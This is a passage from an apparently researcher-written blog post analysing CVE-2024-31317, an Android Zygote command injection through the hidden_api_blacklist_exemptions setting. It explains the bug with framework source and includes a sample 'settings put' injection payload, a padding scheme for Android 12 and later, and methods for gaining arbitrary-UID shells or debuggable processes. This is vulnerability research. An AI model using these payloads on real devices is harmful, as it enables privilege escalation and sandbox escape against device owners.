Category Archives: mobile security

The Return of Mystique? Possibly the most valuable userspace Android vulnerability in recent years: CVE-2024-31317

Abstract

This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to the Mystique vulnerability discovered by the author years ago (which is the little horse in the title image – the Pwnie Award for Best Privilege Escalation Bug at the hacker Oscars), but each has its own merits.

Origin of the Vulnerability

A few months ago, Meta X Red Team published two very interesting Android Framework vulnerabilities that could be used to escalate privileges to any UID. Among them, CVE-2024-0044, due to its simplicity and directness, has already been widely analyzed in the technical community with public exploits available (it’s worth mentioning that people were later surprised to find that the first fix for this vulnerability was actually ineffective). Meanwhile, CVE-2024-31317 still lacks a public detailed analysis and exploit, although the latter has greater power than the former (able to obtain system-uid privileges). This vulnerability is also quite surprising, because it’s already 2024, and we can still find command injection in Android’s core component (Zygote).

This reminds us of the Mystique vulnerability we discovered years ago, which similarly allowed attackers to obtain privileges for any uid. It’s worth noting that both vulnerabilities have certain prerequisites. For example, CVE-2024-31317 requires the WRITE_SECURE_SETTINGS permission. Although this permission is not particularly difficult to obtain, it theoretically still requires an additional vulnerability, as ordinary untrusted_apps cannot obtain this permission (however, it seems that on some branded phones, regular apps may have some methods to directly obtain this permission). ADB shell natively has this permission, and similarly, some special pre-installed signed apps also have this permission.

However, the exploitation effect and universality of this logical vulnerability are still sufficient to make us believe that it is the most valuable Android user-mode vulnerability in recent years since Mystique. Meta’s original article provides an excellent analysis of the cause of this vulnerability, but it only briefly touches on the exploitation process and methods, and is overall rather concise. This article will provide a detailed analysis and introduction to this vulnerability, and introduce some new exploitation methods, which, to our knowledge, are the first of their kind.

Attached is an image demonstrating the exploit effect, successfully obtaining system privilege on major phone brand’s June patch version:

demo

Analysis of this vulnerability

Although the core of this vulnerability is command injection, exploiting it requires a considerable understanding of the Android system, especially how Android’s cornerstone—the Zygote fork mechanism—works, and how it interacts with the system_server.

Zygote and system_server bootstrap process

Every Android developer knows that Zygote forks all processes in Android’s Java world, and system_server is no exception, as shown in the figure below.

zygoteandsystemserver

The Zygote process actually receives instructions from system_server and spawns child processes based on these instructions. This is implemented through the poll mechanism in ZygoteServer.java:

 Runnable runSelectLoop(String abiList) {
 //...
 if (pollIndex == 0) {
                        // Zygote server socket
                        ZygoteConnection newPeer = acceptCommandPeer(abiList);
                        peers.add(newPeer);
                        socketFDs.add(newPeer.getFileDescriptor());
                    } else if (pollIndex < usapPoolEventFDIndex) {
                        // Session socket accepted from the Zygote server socket

                        try {
                            ZygoteConnection connection = peers.get(pollIndex);
                            boolean multipleForksOK = !isUsapPoolEnabled()
                                    && ZygoteHooks.isIndefiniteThreadSuspensionSafe();
                            final Runnable command =
                                    connection.processCommand(this, multipleForksOK);

                            // TODO (chriswailes): Is this extra check necessary?
                            if (mIsForkChild) {
                                // We're in the child. We should always have a command to run at
                                // this stage if processCommand hasn't called "exec".
                                if (command == null) {
                                    throw new IllegalStateException("command == null");
                                }

                                return command;
                            } else {
                                // We're in the server - we should never have any commands to run.
                                if (command != null) {
                                    throw new IllegalStateException("command != null");
                                }

                                // We don't know whether the remote side of the socket was closed or
                                // not until we attempt to read from it from processCommand. This
                                // shows up as a regular POLLIN event in our regular processing
                                // loop.
                                if (connection.isClosedByPeer()) {
                                    connection.closeSocket();
                                    peers.remove(pollIndex);
                                    socketFDs.remove(pollIndex);
                                }
                            }
                        }
                        
                        //...
      Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
        ZygoteArguments parsedArgs;

Then it enters the processCommand function, which is the core function for parsing the command buffer and extracting parameters. The specific format is defined in ZygoteArguments, and much of our subsequent work will need to revolve around this format.

    Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {
//...
  try (ZygoteCommandBuffer argBuffer = new ZygoteCommandBuffer(mSocket)) {
            while (true) {
                try {
                    parsedArgs = ZygoteArguments.getInstance(argBuffer);
                    // Keep argBuffer around, since we need it to fork.
                } catch (IOException ex) {
                    throw new IllegalStateException("IOException on command socket", ex);
                }
               //...
                if (parsedArgs.mBootCompleted) {
                    handleBootCompleted();
                    return null;
                }

                if (parsedArgs.mAbiListQuery) {
                    handleAbiListQuery();
                    return null;
                }

                if (parsedArgs.mPidQuery) {
                    handlePidQuery();
                    return null;
                }
//...
                if (parsedArgs.mInvokeWith != null) {
                    try {
                        FileDescriptor[] pipeFds = Os.pipe2(O_CLOEXEC);
                        childPipeFd = pipeFds[1];
                        serverPipeFd = pipeFds[0];
                        Os.fcntlInt(childPipeFd, F_SETFD, 0);
                        fdsToIgnore = new int[]{childPipeFd.getInt$(), serverPipeFd.getInt$()};
                    } catch (ErrnoException errnoEx) {
                        throw new IllegalStateException("Unable to set up pipe for invoke-with",
                                errnoEx);
                    }
                }
//...
        if (parsedArgs.mInvokeWith != null || parsedArgs.mStartChildZygote
                        || !multipleOK || peer.getUid() != Process.SYSTEM_UID) {
                    // Continue using old code for now. TODO: Handle these cases in the other path.
                    pid = Zygote.forkAndSpecialize(parsedArgs.mUid, parsedArgs.mGid,
                            parsedArgs.mGids, parsedArgs.mRuntimeFlags, rlimits,
                            parsedArgs.mMountExternal, parsedArgs.mSeInfo, parsedArgs.mNiceName,
                            fdsToClose, fdsToIgnore, parsedArgs.mStartChildZygote,
                            parsedArgs.mInstructionSet, parsedArgs.mAppDataDir,
                            parsedArgs.mIsTopApp, parsedArgs.mPkgDataInfoList,
                            parsedArgs.mAllowlistedDataInfoList, parsedArgs.mBindMountAppDataDirs,
                            parsedArgs.mBindMountAppStorageDirs,
                            parsedArgs.mBindMountSyspropOverrides);

                    try {
                        if (pid == 0) {
                            // in child
                            zygoteServer.setForkChild();

                            zygoteServer.closeServerSocket();
                            IoUtils.closeQuietly(serverPipeFd);
                            serverPipeFd = null;

                            return handleChildProc(parsedArgs, childPipeFd,
                                    parsedArgs.mStartChildZygote);
                        } else {
                            // In the parent. A pid < 0 indicates a failure and will be handled in
                            // handleParentProc.
                            IoUtils.closeQuietly(childPipeFd);
                            childPipeFd = null;
                            handleParentProc(pid, serverPipeFd);
                            return null;
                        }
                    } finally {
                        IoUtils.closeQuietly(childPipeFd);
                        IoUtils.closeQuietly(serverPipeFd);
                    }
                } else {
                    ZygoteHooks.preFork();
                    Runnable result = Zygote.forkSimpleApps(argBuffer,
                            zygoteServer.getZygoteSocketFileDescriptor(),
                            peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
                    if (result == null) {
                        // parent; we finished some number of forks. Result is Boolean.
                        // We already did the equivalent of handleParentProc().
                        ZygoteHooks.postForkCommon();
                        // argBuffer contains a command not understood by forksimpleApps.
                        continue;
                    } else {
                        // child; result is a Runnable.
                        zygoteServer.setForkChild();
                        return result;
                    }
                }
            }
        }
        //...
        if (parsedArgs.mApiDenylistExemptions != null) {
            return handleApiDenylistExemptions(zygoteServer,
                    parsedArgs.mApiDenylistExemptions);
      }

static @Nullable Runnable forkSimpleApps(@NonNull ZygoteCommandBuffer argBuffer,
                                             @NonNull FileDescriptor zygoteSocket,
                                             int expectedUid,
                                             int minUid,
                                             @Nullable String firstNiceName) {
        boolean in_child =
                argBuffer.forkRepeatedly(zygoteSocket, expectedUid, minUid, firstNiceName);
        if (in_child) {
            return childMain(argBuffer, /*usapPoolSocket=*/null, /*writePipe=*/null);
        } else {
            return null;
        }
  }

boolean forkRepeatedly(FileDescriptor zygoteSocket, int expectedUid, int minUid,
               String firstNiceName) {
try {
    return nativeForkRepeatedly(mNativeBuffer, zygoteSocket.getInt$(),
            expectedUid, minUid, firstNiceName);

This is the top-level entry point for Zygote command processing, but the devil is in the details. After Android 12, Google implemented a fast-path C++ parser in ZygoteCommandBuffer, namely com_android_internal_os_ZygoteCommandBuffer.cpp. The main idea is that Zygote maintains a new inner loop in nativeForkRepeatly outside the outer loop in processCommand, to improve the efficiency of launching apps.

nativeForkRepeatly also polls on the Command Socket and repeatedly processes what is called a SimpleFork format parsed from the byte stream. This SimpleFork actually only processes simple zygote parameters such as runtime-args, setuid, setgid, etc. The discovery of other parameters during the reading process will cause an exit from this loop and return to the outer loop in processCommand, where a new ZygoteCommandBuffer will be constructed, the loop will restart, and unrecognized commands will be read and parsed again in the outer loop.

System_server may send various commands to zygote, not only commands to start processes, but also commands to modify some global environment values, such as denylistexemptions which contains the vulnerable code, which we will explain in more detail later.

As for system_server itself, its startup process is not complicated, as launched by hardcoded parameters in Zygote—obviously because Zygote cannot receive commands from a process that does not yet exist, this is a "chicken or egg" problem, and the solution is to start system_server through hardcoding.

The Zygote command format

The command parameters accepted by Zygote are in a format similar to Length-Value pairs, separated by line breaks, as shown below

8                              [command #1 arg count]
--runtime-args                 [arg #1: vestigial, needed for process spawn]
--setuid=10266                 [arg #2: process UID]
--setgid=10266                 [arg #3: process GID]
--target-sdk-version=31        [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread     [arg #8: Java entry point]
3                              [command #2 arg count]
--set-api-denylist-exemptions  [arg #1: special argument, don't spawn process]
LClass1;->method1(             [args #2, #3: denylist entries]
LClass1;->field1:

Roughly, the protocol parsing process first reads the number of lines, then reads the content of each line one by one according to the number of lines. However, after Android 12, the exploitation method gets much more complicated due to some buffer pre-reading optimizations, which also led to a significant increase in the length of this article and the difficulty of vulnerability exploitation.

The vulnerability itself

From the previous analysis, we can see that Zygote simply parses the buffer it receives from system_server blindly – without performing any additional secondary checks. This leaves room for command injection: if we can somehow manipulate system_server to write attacker-controlled content into the command socket.

denylistexemptions provides such a method

private void update() {
    String exemptions = Settings.Global.getString(mContext.getContentResolver(),
            Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS);
    if (!TextUtils.equals(exemptions, mExemptionsStr)) {
        mExemptionsStr = exemptions;
        if ("*".equals(exemptions)) {
            mBlacklistDisabled = true;
            mExemptions = Collections.emptyList();
        } else {
            mBlacklistDisabled = false;
            mExemptions = TextUtils.isEmpty(exemptions)
                    ? Collections.emptyList()
                    : Arrays.asList(exemptions.split(","));
        }
        if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) {
          Slog.e(TAG, "Failed to set API blacklist exemptions!");
          // leave mExemptionsStr as is, so we don't try to send the same list again.
          mExemptions = Collections.emptyList();
        }
    }
    mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY);
}

@GuardedBy("mLock")
private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

"Regardless of the reason why hidden_api_blacklist_exemptions is modified, the ContentObserver‘s callback will be triggered. The newly written value will be read and, after parsing (mainly based on splitting the string by commas), directly written into the zygote command socket. A typical command injection."

Achieving universal exploitation utilizing socket features

Difficulty encountered on Android12 and above

The attacker’s initial idea was to directly inject new commands that would trigger the process startup, as shown below:

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
3
--runtime-args
--setuid=1000
--setgid=1000
1
--boot-completed"
"

In Android 11 or earlier versions, this type of payload was simple and effective because in these versions, Zygote reads each line directly through Java’s readLine without any buffer implementation affecting it. However, in Android 12, the situation becomes much more complex. Command parsing is now handled by NativeCommandBuffer, introducing a key difference: after the content is examined for once, this parser discards all trailing unrecognized content in the buffer and exits, rather than saving it for the next parsing attempt. This means that injected commands will be directly discarded!

NO_STACK_PROTECTOR
jboolean com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly(
            JNIEnv* env,
            jclass,
            jlong j_buffer,
            jint zygote_socket_fd,
            jint expected_uid,
            jint minUid,
            jstring managed_nice_name) {

 //...
  bool first_time = true;
  do {
    if (credentials.uid != static_cast<uid_t>(expected_uid)) {
      return JNI_FALSE;
    }
    n_buffer->readAllLines(first_time ? fail_fn_1 : fail_fn_n);
    n_buffer->reset();
    int pid = zygote::forkApp(env, /* no pipe FDs */ -1, -1, session_socket_fds,
                              /*args_known=*/ true, /*is_priority_fork=*/ true,
                              /*purge=*/ first_time);
    if (pid == 0) {
      return JNI_TRUE;
    }
//...
    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();
      //...
      if ((fd_structs[SESSION_IDX].revents & POLLIN) != 0) {
        if (n_buffer->getCount(fail_fn_z) != 0) {
          break;
        }  // else disconnected;
      } else if (poll_res == 0 || (fd_structs[ZYGOTE_IDX].revents & POLLIN) == 0) {
        fail_fn_z(
            CREATE_ERROR("Poll returned with no descriptors ready! Poll returned %d", poll_res));
      }
      // We've now seen either a disconnect or connect request.
      close(session_socket);
   //...
    }
    first_time = false;
  } while (n_buffer->isSimpleForkCommand(minUid, fail_fn_n));
  ALOGW("forkRepeatedly terminated due to non-simple command");
  n_buffer->logState();
  n_buffer->reset();
  return JNI_FALSE;
}

std::optional<std::pair<char*, char*>> readLine(FailFn fail_fn) {
    char* result = mBuffer + mNext;
    while (true) {
      // We have scanned up to, but not including mNext for this line's newline.
      if (mNext == mEnd) {
        if (mEnd == MAX_COMMAND_BYTES) {
          return {};
        }
        if (mFd == -1) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read from mFd -1");
        }
        ssize_t nread = TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd));
        if (nread <= 0) {
          if (nread == 0) {
            return {};
          }
          fail_fn(CREATE_ERROR("session socket read failed: %s", strerror(errno)));
        } else if (nread == static_cast<ssize_t>(MAX_COMMAND_BYTES - mEnd)) {
          // This is pessimistic by one character, but close enough.
          fail_fn("ZygoteCommandBuffer overflowed: command too long");
        }
        mEnd += nread;
      }
      // UTF-8 does not allow newline to occur as part of a multibyte character.
      char* nl = static_cast<char *>(memchr(mBuffer + mNext, '\n', mEnd - mNext));
      if (nl == nullptr) {
        mNext = mEnd;
      } else {
        mNext = nl - mBuffer + 1;
        if (--mLinesLeft < 0) {
          fail_fn("ZygoteCommandBuffer.readLine attempted to read past end of command");
        }
        return std::make_pair(result, nl);
      }
    }
  }

"The nativeForkRepeatedly function operates roughly as follows: After the socket initialization setup is completed, n_buffer->readLines will pre-read and buffer all the lines—i.e., all the content that can currently be read from the socket. The subsequent reset will move the buffer’s current read pointer back to the initial position—meaning the subsequent operations on n_buffer will start parsing this buffer from the beginning, without re-triggering a socket read. After a child process is forked, it will consume this buffer to extract its uid and gid and set them by itself. The parent process will continue execution and enter the for loop below. This for loop continuously listens to the corresponding socket’s file descriptor (fd), receiving and reconstructing incoming connections if they are unexpectedly interrupted.

graph TD
    A[Socket Initialization and Setup] --> B[n_buffer->readLines Reads and Buffers All Lines]
    B --> C[reset Moves Buffer Pointer Back to Initial Position]
    C --> D[n_buffer Re-parses the Buffer]
    D --> E{Fork Child Process}
    E --> F[Child Process Consumes Buffer to Extract UID and GID]
    E --> G[Parent Process Continues Execution]
    G --> H[Enters for Loop]
    H --> I[n_buffer->clear Clears Buffer]
    I --> J[Continuously Listens on Socket FD]
    J --> K[Receives and Rebuilds Incoming Connections]
    K --> L[n_buffer->getCount]
    L --> |Valid Input| O[Check if it is a simpleForkCommand]
    L --> |Invalid Input| I
    O --> |Is SimpleFork| B
    O --> |Not SimpleFork| ZygoteConnection::ProcessCommand
    for (;;) {
      // Clear buffer and get count from next command.
      n_buffer->clear();

But this is where things start to get complex and tricky. The call to n_buffer->clear(); discards all the remaining content in the current buffer (the buffer size is 12,200 on Android 12 and HarmonyOS 4, and 32,768 in later versions). This leads to the previously mentioned issue: the injected content will essentially be discarded and will not enter the next round of parsing.

Thus, the core exploitation method here is figuring out how to split the injected content into different reads so that it gets processed. Theoretically, this relies on the Linux kernel’s scheduler. Generally speaking, splitting the content into different write operations on the other side, with a certain time interval between them, can achieve this goal in most cases. Now, let’s take a look back at the vulnerable function in system_server that triggers the writing to the command socket:

private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
    if (state == null || state.isClosed()) {
        Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection");
        return false;
    } else if (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) {
        return true;
    }

    try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();
        int status = state.mZygoteInputStream.readInt();
        if (status != 0) {
            Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status);
        }
        return true;
    } catch (IOException ioe) {
        Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe);
        mApiDenylistExemptions = Collections.emptyList();
        return false;
    }
}

mZygoteOutputWriter, which inherits from BufferedWriter, has a buffer size of 8192.

    public void write(int c) throws IOException {
        synchronized (lock) {
            ensureOpen();
            if (nextChar >= nChars)
                flushBuffer();
            cb[nextChar++] = (char) c;
        }
    }

This means that unless flush is explicitly called, writes to the socket will only be triggered when the size of accumulated content in the BufferedWriter reaches the defaultCharBufferSize.

It’s important to note that separate writes do not necessarily guarantee separate reads on the receiving side, as the kernel might merge socket operations. The author of Meta proposed a method to mitigate this: inserting a large number of commas to extend the time consumption in the for loop, thereby increasing the time interval between the first socket write and the second socket write (flush). Depending on the device configuration, the number of commas may need to be adjusted, but the overall length must not exceed the maximum size of the CommandBuffer, or it will cause Zygote to abort. The added commas are parsed as empty lines in an array after the string split and will first be written by system_server as a corresponding count, represented by 3001 in the diagram below. However, during Zygote parsing, we must ensure that this count matches the corresponding lines before and after the injection.

Thus, the final payload layout is as shown in the diagram below

payload

Chaining it alltogether

We want the first part of the payload, which is the content before 13 (the yellow section in the diagram below), to exactly reach the 8192-character limit of the BufferedWriter, causing it to trigger a flush and ultimately initiate a socket write.

payload1

When Zygote receives this request, it should be in com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly, having just finished processing the previous simpleFork, and blocked at n_buffer->getCount (which is used to read the line count from the buffer). After this request arrives, getline will read all the contents from the socket into the buffer (note: it doesn’t read line by line), and upon reading 3001 (line count), it detects that it is not a isSimpleForkCommand. This causes the function to exit nativeForkRepeatedly and return to the processCommand function in ZygoteConnection.

ZygoteHooks.preFork();
Runnable result = Zygote.forkSimpleApps(argBuffer,
        zygoteServer.getZygoteSocketFileDescriptor(),
        peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName);
if (result == null) {
    // parent; we finished some number of forks. Result is Boolean.
    // We already did the equivalent of handleParentProc().
    ZygoteHooks.postForkCommon();
    // argBuffer contains a command not understood by forksimpleApps.
    continue;

The whole procedure is as follows:

graph TD;
A[Zygote Receives Request] --> B[Enter com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly];
B --> C[Finish Processing Previous simpleFork];
C --> D[n_buffer->getCount Reads Line Count];
D --> E[getline Reads Buffer];
E --> F[Reads the 3001 Line Count];
F --> G[Detects it is not isSimpleForkCommand];
G --> H[Exit nativeForkRepeatedly];
H --> I[Return to ZygoteConnection's processCommand Function];

This entire 8192-sized block of content is then passed into ZygoteInit.setApiDenylistExemptions, after which processing of this block is no longer relevant to this vulnerability. Zygote consumes this, and proceed to receive following parts of commands.

At this point, note that we look from the Zygote side back to the system_server side, where system_server is still within the maybeSetApiDenylistExemptions function’s for loop. The 8192 block just processed by Zygote corresponds to the first write in this for loop.

try {
        state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
        state.mZygoteOutputWriter.newLine();
        state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
        state.mZygoteOutputWriter.newLine();
        for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
            state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); //<----
            state.mZygoteOutputWriter.newLine();
        }
        state.mZygoteOutputWriter.flush();

The next writer.write will write the core command injection payload, and then the for loop will continue iterating 3000 (or another specified linecount – 1) times. This is done to ensure that consecutive socket writes do not get merged by the kernel into a single write, which could result in Zygote exceeding the buffer size limit and causing Zygote to abort during its read operation.

These iterations accumulated do not exceed the 8192-byte limit of the BufferedWriter, will not trigger an actual socket write within the for loop. Instead, the socket write will only be triggered during the flush. From Zygote’s perspective, it will continue parsing the new buffer in ZygoteArguments.getInstance, corresponding to the section shown in green in the diagram below.

payload2

This green section will be read into the buffer in one go. The first thing to be processed is the line count 13, followed by the fully controlled Zygote parameters injected by the attacker.

This time, the ZygoteArguments will only contain the 13 lines from this buffer, while the rest of the buffer (empty lines) will be processed in the next call to ZygoteArguments.getInstance. When the next new ZygoteArguments instance is created, ZygoteCommandBuffer will perform another read, effectively ignoring the remaining empty lines.

What should we do after successfully obtaining control of Zygote parameters?

"After all the complex work outlined above, we have successfully achieved the goal of reliably controlling the Zygote parameters through this vulnerability. However, we still haven’t addressed a critical question: What can be done with these controlled parameters, or how can they be used to escalate privileges?

At first glance, this question seems obvious, but in reality, it requires deeper exploration.

Attempt #1: Can we control Zygote to execute a specific package name with a particular uid?

This might be our first thought: Can we achieve this by controlling the --package-name and UID?

Unfortunately, the package name is not of much significance to the attacker or to the entire code loading and execution process. Let’s recall the Android App loading process:

app-launch

And let’s continue by examining the relevant code inApplicationThread

   public static void main(String[] args) {
    //...
        // Find the value for {@link #PROC_START_SEQ_IDENT} if provided on the command line.
        // It will be in the format "seq=114"
        long startSeq = 0;
        if (args != null) {
            for (int i = args.length - 1; i >= 0; --i) {
                if (args[i] != null && args[i].startsWith(PROC_START_SEQ_IDENT)) {
                    startSeq = Long.parseLong(
                            args[i].substring(PROC_START_SEQ_IDENT.length()));
                }
            }
        }
        ActivityThread thread = new ActivityThread();
        thread.attach(false, startSeq);

As we can see, the APK code loading process actually depends on startSeq, a parameter maintained by the ActivityManagerService, which maps ApplicationRecord to startSeq. This mapping tracks the corresponding loadApk, meaning the specific APK file and its path.

So, let’s take a step back:

Method #1: Can we control the execution of arbitrary code under a specific UID?

The answer is yes. By analyzing the parameters in ZygoteArguments, we discovered that the invokeWith parameter can be used to achieve this goal:

public static void execApplication(String invokeWith, String niceName,
        int targetSdkVersion, String instructionSet, FileDescriptor pipeFd,
        String[] args) {
    StringBuilder command = new StringBuilder(invokeWith);

    final String appProcess;
    if (VMRuntime.is64BitInstructionSet(instructionSet)) {
        appProcess = "/system/bin/app_process64";
    } else {
        appProcess = "/system/bin/app_process32";
    }
    command.append(' ');
    command.append(appProcess);

    // Generate bare minimum of debug information to be able to backtrace through JITed code.
    // We assume that if the invoke wrapper is used, backtraces are desirable:
    //  * The wrap.sh script can only be used by debuggable apps, which would enable this flag
    //    without the script anyway (the fork-zygote path).  So this makes the two consistent.
    //  * The wrap.* property can only be used on userdebug builds and is likely to be used by
    //    developers (e.g. enable debug-malloc), in which case backtraces are also useful.
    command.append(" -Xcompiler-option --generate-mini-debug-info");

    command.append(" /system/bin --application");
    if (niceName != null) {
        command.append(" '--nice-name=").append(niceName).append("'");
    }
    command.append(" com.android.internal.os.WrapperInit ");
    command.append(pipeFd != null ? pipeFd.getInt$() : 0);
    command.append(' ');
    command.append(targetSdkVersion);
    Zygote.appendQuotedShellArgs(command, args);
    preserveCapabilities();
    Zygote.execShell(command.toString());
}

This piece of code concatenates mInvokeWith with the subsequent arguments and executes them via execShell. We only need to point this parameter to an ELF binary or shell script that the attacker controls, and it must be readable and executable by Zygote.

However, we also need to consider the restrictions imposed by SELinux and the AppData directory permissions. Even if an attacker sets a file in a private directory to be globally readable and executable, Zygote will not be able to access or execute it. To resolve this, we refer to the technique we used in the Mystique vulnerability: using files from the app-lib directory.

The related method for obtaining a system shell is shown in the figure, with the device running HarmonyOS 4.2.

demo

However, this exploitation method still has a problem: obtaining a shell with a specific UID is not the same as direct in-process code execution. If we want to perform further hooking or code injection, this method would require an additional code execution trampoline, but not every app possesses this characteristic, and Android 14 has further introduced DCL (Dynamic Code Loading) restrictions.

So, is it possible to further achieve this goal?

Method #2: Leveraging the jdwp Flag

Here, we propose a new approach: the runtime-flags field in ZygoteArguments can actually be used to enable an application’s debuggable attribute.

static void applyDebuggerSystemProperty(ZygoteArguments args) {
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_JDWP)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_JDWP;
        // Also enable ptrace when JDWP is enabled for consistency with
        // before persist.debug.ptrace.enabled existed.
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
    if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_PTRACE)) {
        args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE;
    }
}

Building on our analysis in Attempt #1, we can borrow a startSeq that matches an existing record in system_server to complete the full app startup process.The key advantage here is that the app’s process flags have been modified to enable the debuggable attribute, allowing the attacker to use tools like jdb to gain execution control within the process.

The Challenge: Predicting startSeq

The issue, however, lies in predicting the startSeq parameter. ActivityManagerService enforces strict validation for this parameter, ensuring that only legitimate values associated with active application startup processes are used.

private void attachApplicationLocked(@NonNull IApplicationThread thread,
        int pid, int callingUid, long startSeq) {
    // Find the application record that is being attached...  either via
    // the pid if we are running in multiple processes, or just pull the
    // next app record if we are emulating process with anonymous threads.
    ProcessRecord app;
    long startTime = SystemClock.uptimeMillis();
    long bindApplicationTimeMillis;
    long bindApplicationTimeNanos;
    if (pid != MY_PID && pid >= 0) {
        synchronized (mPidsSelfLocked) {
            app = mPidsSelfLocked.get(pid);
        }
        if (app != null && (app.getStartUid() != callingUid || app.getStartSeq() != startSeq)) {
            String processName = null;
            final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
            if (pending != null) {
                processName = pending.processName;
            }
            final String msg = "attachApplicationLocked process:" + processName
                    + " startSeq:" + startSeq
                    + " pid:" + pid
                    + " belongs to another existing app:" + app.processName
                    + " startSeq:" + app.getStartSeq();
            Slog.wtf(TAG, msg);
            // SafetyNet logging for b/131105245.
            EventLog.writeEvent(0x534e4554, "131105245", app.getStartUid(), msg);
            // If there is already an app occupying that pid that hasn't been cleaned up
            cleanUpApplicationRecordLocked(app, pid, false, false, -1,
                    true /*replacingPid*/, false /* fromBinderDied */);
            removePidLocked(pid, app);
            app = null;
        }
    } else {
        app = null;
    }

    // It's possible that process called attachApplication before we got a chance to
    // update the internal state.
    if (app == null && startSeq > 0) {
        final ProcessRecord pending = mProcessList.mPendingStarts.get(startSeq);
        if (pending != null && pending.getStartUid() == callingUid
                && pending.getStartSeq() == startSeq
                && mProcessList.handleProcessStartedLocked(pending, pid,
                    pending.isUsingWrapper(), startSeq, true)) {
            app = pending;
        }
    }

    if (app == null) {
        Slog.w(TAG, "No pending application record for pid " + pid
                + " (IApplicationThread " + thread + "); dropping process");
        EventLogTags.writeAmDropProcess(pid);
        if (pid > 0 && pid != MY_PID) {
            killProcessQuiet(pid);
            //TODO: killProcessGroup(app.info.uid, pid);
            // We can't log the app kill info for this process since we don't
            // know who it is, so just skip the logging.
        } else {
            try {
                thread.scheduleExit();
            } catch (Exception e) {
                // Ignore exceptions.
            }
        }
        return;
    }

If an unmatched or incorrect startSeq is used, the process will be immediately killed. The startSeq is incremented by 1 with each app startup. So how can an attacker retrieve or guess the current startSeq?

Our solution to this issue is to first install an attacker-controlled application, and by searching the stack frames, the current startSeq can be found.

startseq-search

The overall exploitation process is as follows (for versions 11 and earlier):

graph TD;
A[Attacker Installs a Debuggable Stub Application] --> B[Search Stack Frames to Obtain the Current startSeq];
B --> C[startSeq+1, Perform Command Injection; Zygote Hangs, Waiting for Next App Start];
C --> D[Launch the Target App via Intent; Corresponding ApplicationRecord Appears in ActivityManagerService];
D --> E[Zygote Executes Injected Parameters and Forks a Debuggable Process];
E --> F[The New Forked Process Attaches to AMS with the stolen startSeq; AMS Checks startSeq];
F --> G[startSeq Check Passes, AMS Controls the Target Process to Load Its Corresponding APK and Complete the Activity Startup Process];
G --> H[The Target App Has a jdwp Thread, and the Attacker Can Attach to Perform Code Injection];

The attack effect on Android 11 is shown in the following image:

jdwp-11

As you can see, we successfully launched the settings process and made it debuggable for injection (with a jdwp thread present). Note that the method shown in the screenshot has not been adapted for versions 12 and above, and readers are encouraged to explore this on their own.

Alternative Exploitation Methods

Currently, Method 1 provides a simple and direct way to obtain a shell with arbitrary uid, but it doesn’t allow for direct code injection or loading. Method 2 achieves code injection and loading, but requires using the jdwp protocol. Is there a better approach?

Perhaps we can explore modifying the class name of the injected parameters—specifically, the previous android.app.ActivityThread—and redirect it to another gadget class, such as WrapperInit.wrapperInit.

protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,
        String[] argv, ClassLoader classLoader) {
